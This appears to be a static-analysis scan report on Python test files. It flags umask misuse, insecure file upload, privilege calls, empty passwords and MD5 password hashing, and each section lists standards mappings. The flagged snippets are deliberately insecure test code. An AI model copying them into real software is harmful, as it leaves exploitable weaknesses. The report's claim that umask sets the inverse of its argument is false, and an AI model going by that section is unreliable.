[1] Standards Mapping - Common Weakness Enumeration CWE ID 311
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)

[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[12] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.1.6 General Data Protection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[23] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[24] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I

[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Often Misused: File System

Description

The mask specified by the argument umask() is often confused with the argument to chmod().

Explanation

The umask() man page begins with the false statement:

"umask sets the umask to mask & 0777"

Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777.

The umask() man page goes on to describe the correct usage of umask():

"The umask is used to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

Severity

Low

Vulnerabilities

File tests\Often_Misused__File_System.py, Line 4, Pos 1

```
4 os.umask(something)
```

Recommendations

- Use umask() with the correct argument.
- If you suspect misuse of umask(), you can use grep to spot call instances of umask().

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 249, CWE ID 560
[2] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[3] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3590.1 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3590.1 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3590.1 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3590.1 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3590.1 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3590.1 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3590.1 CAT I

Often Misused: File Upload

Description

Permitting users to upload files can allow attackers to inject dangerous content or malicious code to run on the server.

Explanation

Regardless of the language in which a program is written, the most devastating attacks often involve remote code execution, whereby an attacker succeeds in executing malicious code in the program's context. If attackers are allowed to upload files to a directory that is accessible from the Web and cause these files to be passed to the Python interpreter, then they can cause malicious code contained in these files to execute on the server.

Example 1: The following code processes uploaded files and moves them into a directory under the web root. Attackers may upload malicious files to this program and subsequently request them from the server.

```
from django.core.files.storage import default_storage
from django.core.files.base import File
...
def handle_upload(request):
    files = request.FILES
    for f in files.values():
    path = default_storage.save('upload/', File(f))
...
```

Even if a program stores uploaded files under a directory that isn't accessible from the Web, attackers might still be able to leverage the ability to introduce malicious content into the server environment to mount other attacks. If the program is susceptible to path manipulation, command injection, or remote include vulnerabilities, then an attacker might upload a file with malicious content and cause the program to read or execute it by exploiting another vulnerability.

Severity

Medium

Vulnerabilities

File tests\Often_Misused__File_Upload.py, Line 7, Pos 16

```
7        path = default_storage.save('upload/', File(f))
```

Recommendations

● Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.

● Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

● Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

● For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

- Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Links

[1] Django Foundation File Uploads
(https://docs.djangoproject.com/en/dev/topics/http/file-uploads/)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 434
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [16] CWE ID 434
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [15] CWE ID 434
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[12] Standards Mapping - OWASP Top 10 2010 A1 Injection
[13] Standards Mapping - OWASP Top 10 2013 A1 Injection
[14] Standards Mapping - OWASP Top 10 2017 A1 Injection
[15] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.2.1 File Integrity Requirements, 12.5.2 File Download Requirements, 13.1.5 Generic Web Service Security Verification Requirements
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1

[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 434
[27] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 434
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)

Often Misused: Privilege Management

Description

Failure to adhere to the principle of least privilege amplifies the risk posed by other vulnerabilities.

Explanation

Programs that run with root privileges have caused innumerable Unix security disasters. It is imperative that you carefully review privileged programs for all kinds of security problems, but it is equally important that privileged programs drop back to an unprivileged state as quickly as possible in order to limit the amount of damage that an overlooked vulnerability might be able to cause.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another.

Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges. An attacker may be able to leverage these elevated privileges to do further damage.

Severity

Medium

Vulnerabilities

File tests\Often_Misused__Privilege_Management.py, Line 3, Pos 1
```
3 o.setegid(something)
```
File tests\Often_Misused__Privilege_Management.py, Line 4, Pos 1
```
4 o.seteuid(something)
```
File tests\Often_Misused__Privilege_Management.py, Line 5, Pos 1
```
5 o.setgid(something)
```
File tests\Often_Misused__Privilege_Management.py, Line 6, Pos 1
```
6 o.setuid(something)
```
File tests\Often_Misused__Privilege_Management.py, Line 7, Pos 1
```
7 o.setresgid(something, something, something)
```
File tests\Often_Misused__Privilege_Management.py, Line 8, Pos 1
```
8 o.setresuid(something, something, something)
```
File tests\Often_Misused__Privilege_Management.py, Line 9, Pos 1
```
9 o.setregid(something, something)
```
File tests\Often_Misused__Privilege_Management.py, Line 10, Pos 1
```
10 o.setreuid(something, something)
```

Recommendations

- Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by

protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

- Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.
- When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.
- If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Links

[1] H. Chen, D. Wagner, and D. Dean. Setuid Demystified. 11th USENIX Security Symposium
[2] Standards Mapping - Common Weakness Enumeration CWE ID 250
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-6 Least Privilege
[7] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.2.1 Authentication Architectural Requirements, 10.2.2 Malicious Code Search
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 250
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 250
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)

Password Management: Empty Password

Description

Empty passwords may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to assign an empty string to a password variable. If the empty password is used to successfully authenticate against another system, then the corresponding account's security is likely compromised because it accepts an empty password. If the empty password is merely a placeholder until a legitimate value can be assigned to the variable, then it can confuse anyone unfamiliar with the code and potentially cause problems on unexpected control flow paths.

Example: The following code attempts to connect to a database with an empty password.

```
    ...
    db = mysql.connect("localhost","scott","","mydb")
    ...
```

If the code in the Example succeeds, it indicates that the database user account "scott" is configured with an empty password, which an attacker can easily guess. After the program ships, updating the account to use a non-empty password will require a code change.

Severity

High

Vulnerabilities

File tests\Password_Management__Empty_Password.py, Line 3, Pos 6

```
3 db = connect("localhost","scott","","mydb")
```

File tests\Password_Management__Empty_Password.py, Line 5, Pos 1

```
5 my_password = ""
```

File tests\Password_Management__Empty_Password.py, Line 7, Pos 1

```
7 something["my_password"] = ""
```

File tests\Password_Management__Hardcoded_Password.py, Line 1, Pos 1

```
1 PassWORd = ""
```

File tests\Password_Management__Hardcoded_Password.py, Line 3, Pos 1

```
3 something["my_password"] = ""
```

File tests\Password_Management__Hardcoded_Password.py, Line 5, Pos 1

```
5 more = {"passWord": ""}
```

Recommendations

- For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.
- For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.
- Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.
- For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 259
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199, CCI-003109
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.1.1 Password Security Requirements, 2.1.2 Password Security Requirements, 2.1.3 Password Security Requirements, 2.1.4 Password Security Requirements, 2.1.7 Password Security Requirements, 2.1.8 Password Security Requirements, 2.1.9 Password Security Requirements, 2.3.1 Authenticator Lifecycle Requirements, 2.6.2 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.10.1 Service Authentication Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.4.1 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1

[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.3 - Authentication and Access Control, Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.3 - Authentication and Access Control, Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I

[45] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)

Password Management: Lack of Key Derivation Function

Description

Cryptographic hash functions should not be used on their own to generate digests for passwords to be stored.

Explanation

A cryptographic hash function is a one-way function which is considered practically impossible to invert; that is, to recreate the input data from its digest value alone. These hash functions were considered safe to store passwords in the past since even if an attacker could access the digest value for the original password, he wouldn't be able to recover the original password from the digest value. This was proved to be wrong, as attackers used a dictionary attack with "rainbow tables" so that they were able to pre-compute the digest value for millions of words/phrases and once they got a password digest, they only had to compare its value with the values stored within the "rainbow tables" to get back the original password. As the computational power of personal computers increased over time, this technique became obsolete and was rapidly replaced with a brute-force attack enabled by "GPU" units. Attackers no longer need to pre-compute the password hashes (which was almost impossible with the use of salts); now they have enough computational power to brute-force possible passwords byte per byte.

Example 1: The following example shows how a password hash is calculated and stored in the database for later login usage:

```
import hashlib
...
def register(request):
    password = request.GET['password']
    username = request.GET['username']
...
hash = hashlib.md5(get_random_salt() + ":" + password).hexdigest()
store(username, hash)
...
```

Severity

Medium

Vulnerabilities

File tests\Password_Management__Lack_of_Key_Derivation_Function.py, Line 3, Pos 10

```
3 hashed = hashlib.md5(password)
```

Recommendations

- Use PBKDF2 function instead

Links

[1] Wikipedia Key derivation function (http://en.wikipedia.org/wiki/Key_derivation_function)
[2] Wikipedia PBKDF2 (http://en.wikipedia.org/wiki/PBKDF2)
[3] OWASP Password Storage Cheat Sheet (https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)
[4] IETF PBKDF2 RFC (https://www.ietf.org/rfc/rfc2898.txt)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 261
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000196, CCI-001199
[9] Standards Mapping - FIPS200 IA
